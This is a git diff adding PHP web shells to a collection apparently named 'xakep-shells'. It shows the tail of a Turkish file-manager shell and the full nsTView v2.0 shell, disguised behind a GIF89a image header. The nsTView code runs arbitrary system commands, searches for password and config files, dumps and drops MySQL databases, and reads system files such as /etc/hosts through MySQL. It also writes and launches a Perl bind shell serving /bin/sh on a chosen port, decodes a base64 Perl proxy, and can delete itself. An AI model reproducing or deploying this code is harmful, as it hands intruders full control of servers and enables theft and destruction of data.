+'reset' => 'Yenile',
+'relative' => 'Hedefe Yolla',
+
+'yes' => 'Evet',
+'no' => 'Hayir',
+'Geri' => 'Geri',
+'Yol' => 'Yol',
+'symlink' => 'Symlink',
+'no_output' => 'Hiçbir çýktý',
+
+'user' => 'Kullanýcý',
+'password' => 'Sifre',
+'add' => 'Ekle',
+'add_basic_auth' => 'add basic-authentification',
+
+'uploaded' => '"[%1]" Yüklendi.',
+'not_uploaded' => '"[%1]" Yüklenemedi.',
+'already_exists' => '"[%1]" Þimdiden var ol.',
+'created' => '"[%1]" Olusturuldu.',
+'not_created' => '"[%1]" Olusturuldu.',
+'really_Sil' => 'Silinen dosyalar?',
+'Sild' => "Bu dosyalar,oldu Sild:\n[%1]",
+'not_Sild' => "Bu dosyalar olamazdý Sild:\n[%1]",
+'Degistir_file' => 'Dosyayi Degistir:',
+'Degistird' => '"[%1]" Degistirildi "[%2]".',
+'not_Degistird' => '"[%1] Degistirilemedi "[%2]".',
+'Tasi_files' => 'Dosyayi TAsi:',
+'Tasid' => "Bu Dosyalar Tasindi \"[%2]\":\n[%1]",
+'not_Tasid' => "Bu Dosyalar Tasinamaz \"[%2]\":\n[%1]",
+'Kopyala_files' => 'Bu Dosyalari Kopyala:',
+'copied' => "Bu Dosyalar Kopyalanir \"[%2]\":\n[%1]",
+'not_copied' => "Bu Dosyalar Kopyalanamaz \"[%2]\":\n[%1]",
+'not_Düzenleed' => '"[%1]" Düzenle.',
+'executed' => "\"[%1]\" Basarili bir sekilde Uygulandi:\n{%2}",
+'not_executed' => "\"[%1]\" Basarili bir sekilde Uygulanamadi:\n{%2}",
+'saved' => '"[%1]" Kurtarildi.',
+'not_saved' => '"[%1]" Kurtarýlamadý.',
+'symlinked' => 'Symlink "[%2]" to "[%1]" Olusturuldu.',
+'not_symlinked' => 'Symlink "[%2]" to "[%1]" Olusturulamadi.',
+'permission_for' => 'izin "[%1]":',
+'permission_set' => 'izin "[%1]" Kopyalandi [%2].',
+'permission_not_set' => 'izin "[%1]" Yapilamadi [%2].',
+'not_readable' => '"[%1]" Okunamadi.'
+ );
+
+ }
+
+}
+
+function getimage ($image) {
+ switch ($image) {
+ case 'file':
+ return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
+ case 'folder':
+ return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
+ case 'hidden_file':
+ return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
+ case 'link':
+ return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
+ case 'smiley':
+ return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
+ case 'arrow':
+ return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
+ }
+}
+
+function html_header () {
+ global $charset;
+
+ echo <<
+
+
+
+
+
+iMHaBiRLiGi PhpFtp
+
+
+
+
+
+
+
+
+
+END;
+
+}
+
+function html_footer () {
+
+ echo <<
+
+END;
+
+}
+
+function notice ($phrase) {
+ global $cols;
+
+ $args = func_get_args();
+ array_shift($args);
+
+ return '
+ ' . phrase($phrase, $args) . '
+
+';
+
+}
+
+function error ($phrase) {
+ global $cols;
+
+ $args = func_get_args();
+ array_shift($args);
+
+ return '
+ ' . phrase($phrase, $args) . '
+
+';
+
+}
+
+?>
+
+SU AN iMHaBiRLiGi HUDUTLARINDA BULUNMAKTASINIZ.!!
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/img.php.php.txt b/xakep-shells/PHP/img.php.php.txt
new file mode 100644
index 0000000..2c8b999
--- /dev/null
+++ b/xakep-shells/PHP/img.php.php.txt
@@ -0,0 +1,2106 @@
+GIF89a
+
+@session_start();
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+@error_reporting(0);
+#####cfg#####
+# use password true / false #
+$create_password = true;
+$password = "nst"; // default password for nstview, you can change it.
+
+# UNIX COMMANDS
+# description (nst) command
+# example: Shutdown (nst) shutdown -h now
+$fast_commands = "
+Show open ports (nst) netstat -an | grep LISTEN | grep tcp
+last root (nst) last root
+last (all users) (nst) last all
+Find all config.php in / (nst) find / -type f -name config.php
+Find all config.php in . (nst) find . -type f -name config.php
+Find all admin.php in / (nst) find / -type f -name admin.php
+Find all admin.php in . (nst) find . -type f -name admin.php
+Find all config.inc.php in / (nst) find / -type f -name config.inc.php
+Find all config.inc.php in . (nst) find . -type f -name config.inc.php
+Find all config.inc in / (nst) find / -type f -name config.inc
+Find all config.inc in . (nst) find . -type f -name config.inc
+Find all config.dat in / (nst) find / -type f -name config.dat
+Find all config.dat in . (nst) find . -type f -name config.dat
+Find all config* in / (nst) find / -type f -name config*
+Find all config* in . (nst) find . -type f -name config*
+Find all pass* in / (nst) find / -type f -name pass*
+Find all pass* in . (nst) find . -type f -name pass*
+Find all .bash_history in / (nst) find / -type f -name .bash_history
+Find all .bash_history in . (nst) find . -type f -name .bash_history
+Find all .htpasswd in / (nst) find / -type f -name .htpasswd
+Find all .htpasswd in . (nst) find . -type f -name .htpasswd
+Find all writable dirs/files in / (nst) find / -perm -2 -ls
+Find all writable dirs/files in . (nst) find . -perm -2 -ls
+Find all suid files in / (nst) find / -type f -perm -04000 -ls
+Find all suid files in . (nst) find . -type f -perm -04000 -ls
+Find all sgid files in / (nst) find / -type f -perm -02000 -ls
+Find all sgid files in . (nst) find . -type f -perm -02000 -ls
+Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc
+Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc
+OS Version? (nst) sysctl -a | grep version
+Kernel version? (nst) cat /proc/version
+cat syslog.conf (nst) cat /etc/syslog.conf
+Cat - Message of the day (nst) cat /etc/motd
+Cat hosts (nst) cat /etc/hosts
+Distrib name (nst) cat /etc/issue.net
+Distrib name (2) (nst) cat /etc/*-realise
+Display all process - wide output (nst) ps auxw
+Display all your process (nst) ps ux
+Interfaces (nst) ifconfig
+CPU? (nst) cat /proc/cpuinfo
+RAM (nst) free -m
+HDD space (nst) df -h
+List of Attributes (nst) lsattr -a
+Mount options (nst) cat /etc/fstab
+Is cURL installed? (nst) which curl
+Is wGET installed? (nst) which wget
+Is lynx installed? (nst) which lynx
+Is links installed? (nst) which links
+Is fetch installed? (nst) which fetch
+Is GET installed? (nst) which GET
+Is perl installed? (nst) which perl
+Where is apache (nst) whereis apache
+Where is perl (nst) whereis perl
+locate proftpd.conf (nst) locate proftpd.conf
+locate httpd.conf (nst) locate httpd.conf
+locate my.conf (nst) locate my.conf
+locate psybnc.conf (nst) locate psybnc.conf
+";
+
+
+
+# WINDOWS COMMANDS
+# description (nst) command
+# example: Delete autoexec.bat (nst) del c:\autoexec.bat
+$fast_commands_win = "
+OS Version (nst) ver
+Tasklist (nst) tasklist
+Attributes in . (nst) attrib
+Show open ports (nst) netstat -an
+";
+
+
+
+
+
+######ver####
+$ver= "v2.0";
+#############
+$pass=$_POST['pass'];
+if($pass==$password){
+$_SESSION['nst']="$pass";
+}
+if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
+else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
+else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"];
+else $ip = $_SERVER['REMOTE_ADDR'];
+$ip=htmlspecialchars($ip);
+
+if($create_password==true){
+
+if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
+die("
+nsTView $ver:: nst.void.ru
+
+
+");}
+
+}
+$d=$_GET['d'];
+
+function adds($editf){
+#if(get_magic_quotes_gpc()==0){
+$editf=addslashes($editf);
+#}
+return $editf;
+}
+function adds2($editf){
+if(get_magic_quotes_gpc()==0){
+$editf=addslashes($editf);
+}
+return $editf;
+}
+
+$f = "nst_sql.txt";
+$f_d = $_GET['f_d'];
+
+if($_GET['download']){
+$download=$_GET['download'];
+header("Content-disposition: attachment; filename=\"$download\";");
+readfile("$d/$download");
+exit;}
+
+if($_GET['dump_download']){
+header("Content-disposition: attachment; filename=\"$f\";");
+header("Content-length: ".filesize($f_d."/".$f));
+header("Expires: 0");
+readfile($f_d."/".$f);
+if(is_writable($f_d."/".$f)){
+unlink($f_d."/".$f);
+}
+die;
+}
+
+
+$images=array(".gif",".jpg",".png",".bmp",".jpeg");
+$whereme=getcwd();
+@$d=@$_GET['d'];
+$copyr = "nsTView $ver o... Network security team ...o ";
+$php_self=@$_SERVER['PHP_SELF'];
+if(@eregi("/",$whereme)){$os="unix";}else{$os="win";}
+if(!isset($d)){$d=$whereme;}
+$d=str_replace("\\","/",$d);
+if(@$_GET['p']=="info"){
+@phpinfo();
+exit;}
+if(@$_GET['img']=="1"){
+@$e=$_GET['e'];
+header("Content-type: image/gif");
+readfile("$d/$e");
+}
+if(@$_GET['getdb']=="1"){
+header('Content-type: application/plain-text');
+header('Content-Disposition: attachment; filename=nst-mysql-damp.htm');
+}
+print "nsT View $ver
+
+
+";
+print "
+
+0 ";
+$expl=explode("/",$d);
+$coun=count($expl);
+if($os=="unix"){echo "/ ";}
+else{
+ echo "$expl[0]/ ";}
+for($i=1; $i<$coun; $i++){
+ @$xx.=$expl[$i]."/";
+$sls="$expl[$i] /";
+$sls=str_replace("//","/",$sls);
+$sls=str_replace("/'>/","/'>",$sls);
+print $sls;
+}
+if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";}
+if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";}
+echo " ";
+if($os=="unix"){ echo "
+id: ".@exec('id')."
+uname -a: ".@exec('uname -a')." ";} echo"
+Your IP: [$ip ] Server IP: [".gethostbyname($_SERVER["HTTP_HOST"])." ] Server H.D. : [".$_SERVER["HTTP_HOST"]." ]
+[Safe mode: $safe_m] [Register globals: $reg_g]
+[Back ]
+[Home ]
+[Shell (1) (2) ]
+[Upload ]
+[Tools ]
+[PHPinfo ]
+[DEL Folder ]
+[SQL ]
+[Self Remover ]
+
+";
+if($os=="win"){ echo "
+
+<
+A
+B
+C
+D
+E
+F
+G
+H
+I
+J
+K
+L
+M
+N
+O
+P
+Q
+R
+S
+T
+U
+V
+W
+X
+Y
+Z
+ ";}else{echo " ";}
+print "
+:: Create folder ::
+Create file ::
+Read file if safe mode is On ::
+PS table ::
+ ";
+
+if(@$_GET['p']=="sql"){
+print "";
+###
+
+$f_d = $_GET['f_d'];
+if(!isset($f_d)){$f_d=".";}
+if($f_d==""){$f_d=".";}
+
+$php_self=$_SERVER['PHP_SELF'];
+$delete_table=$_GET['delete_table'];
+$tbl=$_GET['tbl'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+$adress=$_POST['adress'];
+$port=$_POST['port'];
+$login=$_POST['login'];
+$pass=$_POST['pass'];
+$adress=$_GET['adress'];
+$port=$_GET['port'];
+$login=$_GET['login'];
+$pass=$_GET['pass'];
+$conn=$_GET['conn'];
+if(!isset($adress)){$adress="127.0.0.1";}
+if(!isset($login)){$login="root";}
+if(!isset($pass)){$pass="";}
+if(!isset($port)){$port="3306";}
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+
+
+?>
+
+
+ if(!$conn){ ?>
+
+
+
+
+
+
+
+$conn=$_GET['conn'];
+$adress=$_GET['adress'];
+$port=$_GET['port'];
+$login=$_GET['login'];
+$pass=$_GET['pass'];
+if($conn){
+
+$serv = @mysql_connect($adress.":".$port, $login,$pass) or die("Error: ".mysql_error()." ");
+if($serv){$status="Connected. :: Log out ";}else{$status="Disconnected.";}
+print "Status: $status "; # #D7FFA8
+print "";
+print "[db] ";
+print "";
+$res = mysql_list_dbs($serv);
+while ($str=mysql_fetch_row($res)){
+print "[DEL] [DUMP] $str[0] ";
+$tc++;
+}
+$baza=$_GET['baza'];
+$db=$_GET['db'];
+print "[Total db: $tc] ";
+if($baza){
+print "db: [$db]
";
+$result=@mysql_list_tables($db);
+while($str=@mysql_fetch_array($result)){
+$c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
+$records=mysql_fetch_array($c);
+
+if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);}
+if($records[0]=="0"){
+print "[D] [R] [$records[0]] $str[0] ";
+}else{
+print "[D] [R] [$records[0]] $str[0] ";
+}
+mysql_free_result($c);
+$total_t++;
+}
+print "Total tables: $total_t ";
+ print "";
+for($i=0; $i<$s4ot+10; $i++){print " ";}
+ print " ";
+} #end baza
+
+
+
+
+# delete table
+if(isset($delete_table)){
+mysql_select_db($_GET['db']) or die("".mysql_error()." ");
+mysql_query("DROP TABLE IF EXISTS $delete_table") or die("".mysql_error()." ");
+print "Table [ $delete_table ] :: Deleted success! ";
+print " ";
+}
+# end of delete table
+
+# delete database
+if(isset($_GET['delete_db'])){
+mysql_drop_db($_GET['delete_db']) or die("".mysql_error()." ");
+print "Database ".$_GET['delete_db']." :: Deleted Success!";
+print " ";
+}
+# end of delete database
+
+# delete row
+if(isset($_POST['delete_row'])){
+$_POST['delete_row'] = base64_decode($_POST['delete_row']);
+mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("".mysql_error()." ");
+$del_result = "Deleted Success! ".$_POST['delete_row'];
+print " ";
+}
+# end of delete row
+
+
+$vn=$_GET['vn'];
+print " ";
+print "Database: $db => $vn ";
+
+# edit row
+if(isset($_POST['edit_row'])){
+$edit_row=base64_decode($_POST['edit_row']);
+
+$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("".mysql_error()." ");
+print "
+ ";
+print " ";
+if(!$_POST['makeupdate']){print " ";}
+
+
+
+
+if($_POST['makeupdate']){
+if($_POST['upd']=='update'){
+preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
+$delstring=$_POST['delstring'];
+$delstring=base64_decode($delstring);
+$delstring = substr($delstring, 0, strlen($delstring)-5);
+
+for($i=0; $iPHP var: \$sql=\"$up_string\"; ";
+print " ";
+mysql_query($up_string) or die("".mysql_error()." ");
+}#end of make update
+
+
+
+if($_POST['upd']=='insert'){
+preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
+$delstring=$_POST['delstring'];
+$delstring=base64_decode($delstring);
+$delstring = substr($delstring, 0, strlen($delstring)-5);
+
+for($i=0; $i".mysql_error()."");
+print "PHP var: \$sql=\"$make_insert\"; ";
+print " ";
+}#end of insert
+}#end of update
+}
+# end of edit row
+
+
+# insert new line
+if($_GET['ins_new_line']){
+$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("".mysql_error()." ");
+print "
+Insert new line in $tbl table ";
+print "";
+while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) {
+foreach ($new_line as $key =>$next) {
+$buff .= "$next ";
+}
+$expl=explode(" ",$buff);
+$buff2 .= $expl[0]." ";
+print "$expl[0] ($expl[1] )
+
+ ";
+unset($buff);
+}
+print "
+ ";
+if($_POST['mk_ins']){
+preg_match_all("/(.*?)\s/i",$buff2,$matches3);
+for($i=0; $i".mysql_error()."");
+print "PHP var: \$sql=\"$make_insert\"; ";
+print " ";
+}#end of mk ins
+}#end of ins new line
+
+
+
+
+
+
+if(isset($_GET['rename_table'])){
+$rename_table=$_GET['rename_table'];
+print " Rename $rename_table to
+
+
+
+
+";
+
+if(isset($_POST['new_name'])){
+mysql_select_db($db) or die("".mysql_error()." ");
+mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("".mysql_error()." ");
+print "Table $rename_table renamed to ".$_POST['new_name']." ";
+print " ";
+}
+
+}#end of rename
+
+
+# dump table
+if($_GET['dump']){
+if(!is_writable($f_d)){die("This folder $f_d isnt writable! Cannot make dump.
+You can change temp folder for dump file in your browser!
+Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)
+Then press enter
+ ");}
+mysql_select_db($db) or die("".mysql_error()." ");
+$fp = fopen($f_d."/".$f,"w");
+fwrite($fp, "# nsTView.php v$ver
+# Web: http://nst.void.ru
+# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
+# MySQL version: ".mysql_get_server_info()."
+# PHP version: ".phpversion()."
+# Date: ".date("d.m.Y - H:i:s")."
+# Dump db ( $db ) Table ( $tbl )
+# --- eof ---
+
+");
+$que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("".mysql_error()." ");
+$row = mysql_fetch_row($que);
+fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;\r\n");
+$row[1]=str_replace("\n","\r\n",$row[1]);
+fwrite($fp, $row[1].";\r\n\r\n");
+$que = mysql_query("SELECT * FROM `$tbl`");
+if(mysql_num_rows($que)>0){
+while($row = mysql_fetch_assoc($que)){
+$keys = join("`, `", array_keys($row));
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = adds2($v);}
+$values = implode("', '", $values);
+$sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');\r\n";
+fwrite($fp, $sql);
+}
+}
+fclose($fp);
+print " ";
+}#end of dump
+
+
+
+
+# db dump
+if($_GET['dump_db']){
+$c=mysql_num_rows(mysql_list_tables($db));
+if($c>=1){
+print " Dump database $db ";
+}else{
+print "Cannot dump database. No tables exists in $db db. ";
+die;
+}
+if(sizeof($tabs)==0){
+$res = mysql_query("SHOW TABLES FROM $db");
+if(mysql_num_rows($res)>0){
+while($row=mysql_fetch_row($res)){
+$tabs[] .= $row[0];
+}
+}
+}
+$fp = fopen($f_d."/".$f,"w");
+fwrite($fp, "# nsTView.php v$ver
+# Web: http://nst.void.ru
+# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
+# MySQL version: ".mysql_get_server_info()."
+# PHP version: ".phpversion()."
+# Date: ".date("d.m.Y - H:i:s")."
+# Dump db ( $db )
+# --- eof ---
+
+");
+foreach($tabs as $tab) {
+fwrite($fp,"DROP TABLE IF EXISTS `$tab`;\r\n");
+$res = mysql_query("SHOW CREATE TABLE `$tab`");
+$row = mysql_fetch_row($res);
+$row[1]=str_replace("\n","\r\n",$row[1]);
+fwrite($fp, $row[1].";\r\n\r\n");
+$res = mysql_query("SELECT * FROM `$tab`");
+if(mysql_num_rows($res)>0){
+while($row=mysql_fetch_assoc($res)){
+$keys = join("`, `", array_keys($row));
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = adds2($v);}
+$values = join("', '", $values);
+$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n";
+fwrite($fp, $sql);
+}}
+fwrite($fp, "\r\n\r\n\r\n");
+}
+fclose($fp);
+print " ";
+}#end of db dump
+
+
+
+
+
+
+$vnutr=$_GET['vnutr'];
+$tbl=$_GET['tbl'];
+if($vnutr and !$_GET['ins_new_line']){
+print "";
+$vn=$_GET['vn'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+$query = "SELECT * FROM $vn LIMIT $from,$to";
+$result = mysql_query($query);
+$result1= mysql_query($query);
+print $del_result;
+print "";
+} #end vnutr
+print "
";
+} # end $conn
+
+
+### end of sql
+print "
";
+print $copyr;
+die;
+}
+
+
+@$p=$_GET['p'];
+if(@$_GET['p']=="selfremover"){
+ print "";
+print "Are you sure?
+Yes | No
+Remove: ";
+$path=__FILE__;
+print $path;
+print " ?
";
+die;
+}
+
+if($p=="yes"){
+$path=__FILE__;
+@unlink($path);
+$path=str_replace("\\","/",$path);
+if(file_exists($path)){$hmm="NOT DELETED!!!";
+print "FILE $path NOT DELETED ";
+}else{$hmm="DELETED";}
+print "";
+
+}
+
+
+
+if($os=="unix"){
+function fastcmd(){
+global $fast_commands;
+$c_f=explode("\n",$fast_commands);
+$c_f=count($c_f)-2;
+print "
+
+Total commands: $c_f
+";
+
+$c=substr_count($fast_commands," (nst) ");
+for($i=0; $i<=$c; $i++){
+ $expl2=explode("\r\n",$fast_commands);
+ $expl=explode(" (nst) ",$expl2[$i]);
+ if(trim($expl[1])!=""){
+ print "$expl[0] \r\n";
+ }
+}
+
+print "
+
+
+";
+}
+}#end of os unix
+
+
+if($os=="win"){
+function fastcmd(){
+global $fast_commands_win;
+$c_f=explode("\n",$fast_commands_win);
+$c_f=count($c_f)-2;
+print "
+
+Total commands: $c_f
+";
+
+$c=substr_count($fast_commands_win," (nst) ");
+for($i=0; $i<=$c; $i++){
+ $expl2=explode("\r\n",$fast_commands_win);
+ $expl=explode(" (nst) ",$expl2[$i]);
+ if(trim($expl[1])!=""){
+ print "$expl[0] \r\n";
+ }
+}
+
+print "
+
+
+";
+}
+}#end of os win
+
+
+echo "
+";
+if(@$_GET['shell']=="1"){echo "cmd pwd:
+";
+chdir($d);
+echo getcwd()."
+Fast cmd: ";
+fastcmd();
+if($os=="win"){$d=str_replace("/","\\\\",$d);}
+print "
+Insert pwd
+
+";
+if(@$_POST['sh']){
+$sh=$_POST['sh'];
+echo "";
+print `$sh`; echo " ";}
+}
+
+if(@$_GET['shell']=="2"){
+echo "cmd
+pwd:
+";
+chdir($d);
+echo getcwd()."
+Fast cmd: ";
+fastcmd();
+if($os=="win"){$d=str_replace("/","\\\\",$d);}
+print "
+Insert pwd
+ ";
+if(@$_POST['sh']){
+$sh=$_POST['sh'];
+echo ""; print `$sh`; echo " ";}
+echo $copyr;
+exit;}
+
+if(@$_GET['delfl']){
+@$delfolder=$_GET['delfolder'];
+echo "DELETE FOLDER: ".@$_GET['delfolder']."
+(All files must be writable)
+Yes || No
+";
+echo $copyr;
+exit;
+}
+
+
+$mkdir=$_GET['mkdir'];
+if($mkdir){
+print "Create Folder in $d :
+
+New folder name:
+
+
+";
+if($_POST['dir_n']){
+mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']);
+print "Directory created success! ";
+}
+print $copyr;
+die;
+}
+
+
+$mkfile=$_GET['mkfile'];
+if($mkfile){
+print "Create file in $d :
+
+File name:
+(example: hello.txt , hello.php)
+
+
+";
+if($_POST['file_n']){
+$fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']);
+fwrite($fp,"");
+print "File created success! ";
+}
+print $copyr;
+die;
+}
+
+
+$ps_table=$_GET['ps_table'];
+if($ps_table){
+
+if($_POST['kill_p']){
+exec("kill -9 ".$_POST['kill_p']);
+}
+
+$str=`ps aux`;
+preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches);
+print "PS Table :: Fast kill program ";
+print " ";
+unset($str);
+print $copyr;
+die;
+}#end of ps table
+
+
+$read_file_safe_mode=$_GET['read_file_safe_mode'];
+if($read_file_safe_mode){
+
+if(!isset($_POST['l'])){$_POST['l']="root";}
+
+print "
+Read file content using MySQL - when safe_mode , open_basedir is ON
+
+
+(example: /etc/hosts)
+
+
+
+ ";
+
+if($_POST['read_file']){
+$read_file=$_POST['read_file'];
+@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("".mysql_error()." ");
+mysql_create_db("tmp_bd_file") or die("".mysql_error()." ");
+mysql_select_db("tmp_bd_file") or die("".mysql_error()." ");
+mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("".mysql_error()." ");
+mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
+$query = "SELECT * FROM tmp_file";
+$result = mysql_query($query) or die("".mysql_error()." ");
+print "File content : ";
+for($i=0;$i$col_value) {
+print htmlspecialchars($col_value)." ";}}
+mysql_free_result($result);
+mysql_drop_db("tmp_bd_file") or die("".mysql_error()." ");
+}
+
+
+print $copyr;
+die;
+}#end of read_file_safe_mode
+
+
+# sys
+$wich_f=$_GET['wich_f'];
+$delete=$_GET['delete'];
+$del_f=$_GET['del_f'];
+$chmod=$_GET['chmod'];
+$ccopy_to=$_GET['ccopy_to'];
+
+
+# delete
+if(@$_GET['del_f']){
+if(!isset($delete)){
+print "Delete this file?
+$d/$wich_f
+Yes / No
+";}
+if($delete==1){
+unlink($d."/".$del_f);
+print "File: $d/$del_f DELETED!
+ # BACK
+";
+}
+echo $copyr;
+exit;
+}
+
+
+# copy to
+if($ccopy_to){
+$wich_f=$_POST['wich_f'];
+$to_f=$_POST['to_f'];
+print "Copy file:
+$d/$ccopy_to
+
+
+File:
+To:
+
+";
+
+if($to_f){
+@copy($wich_f,$to_f) or die("Cannot copy!!! maybe folder is not writable ");
+print "Copy success!!! ";
+}
+
+echo $copyr;
+exit;
+}
+
+
+# chmod
+if(@$_GET['chmod']){
+$perms = @fileperms($d."/".$wich_f);
+print "CHMOD file $d/$wich_f
+ This file chmod is ";
+print perm($perms);
+print "
+ ";
+$chmd=<<
+
+
+
+
+
+
+
+HTML;
+
+print "".$chmd."
+
+$d/$wich_f
+
+
+
+";
+$t_total=$_POST['t_total'];
+if($t_total){
+chmod($d."/".$wich_f,$t_total);
+print "Now chmod is $t_total ";
+print "# BACK ";
+}
+echo $copyr;
+exit;
+}
+
+# rename
+if(@$_GET['rename']){
+print "RENAME $d/$wich_f ?
+
+
+RENAME $wich_f TO
+
+
+
+";
+
+@$rto=$_POST['rto'];
+
+if($rto){
+$fr1=$d."/".$wich_f;
+$fr1=str_replace("//","/",$fr1);
+$to1=$d."/".$rto;
+$to1=str_replace("//","/",$to1);
+
+rename($fr1,$to1);
+print "File $wich_f Renamed to $rto ";
+
+echo " ";
+
+}
+
+echo $copyr;
+exit;
+}
+
+
+
+
+if(@$_GET['deldir']){
+@$dir=$_GET['dir'];
+function deldir($dir)
+{
+$handle = @opendir($dir);
+while (false!==($ff = @readdir($handle))){
+if($ff != "." && $ff != ".."){
+if(@is_dir("$dir/$ff")){
+deldir("$dir/$ff");
+}else{
+@unlink("$dir/$ff");
+}}}
+@closedir($handle);
+if(@rmdir($dir)){
+@$success = true;}
+return @$success;
+}
+$dir=@$dir;
+deldir($dir);
+
+$rback=$_GET['rback'];
+@$rback=explode("/",$rback);
+$crb=count($rback);
+for($i=0; $i<$crb-1; $i++){
+ @$x.=$rback[$i]."/";
+}
+echo " ";
+echo $copyr;
+exit;}
+
+
+if(@$_GET['t']=="tools"){
+ # unix
+if($os=="unix"){
+print "
+
+P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.
+
+
+
+";
+}#end of unix
+
+
+if($_POST['perl_bd']){
+$port=$_POST['port'];
+$perl_bd_scp = "
+use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
+setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY));
+listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);}
+open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\");
+close X;}}";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_bd.pl","w");
+fwrite($fp,"$perl_bd_scp");
+passthru("perl /tmp/nst_perl_bd.pl &");
+unlink("/tmp/nst_perl_bd.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bd_tmp");
+$fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w");
+fwrite($fp,"$perl_bd_scp");
+passthru("perl .nst_bd_tmp/nst_perl_bd.pl &");
+unlink(".nst_bd_tmp/nst_perl_bd.pl");
+rmdir(".nst_bd_tmp");
+}
+}
+$show_ps="1";
+}#end of start perl_bd
+
+if($_POST['perl_proxy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8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg==";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_proxy.pl","w");
+fwrite($fp,base64_decode($perl_proxy_scp));
+passthru("perl /tmp/nst_perl_proxy.pl $port &");
+unlink("/tmp/nst_perl_proxy.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_proxy_tmp");
+$fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w");
+fwrite($fp,base64_decode($perl_proxy_scp));
+passthru("perl .nst_proxy_tmp/nst_perl_proxy.pl $port &");
+unlink(".nst_proxy_tmp/nst_perl_proxy.pl");
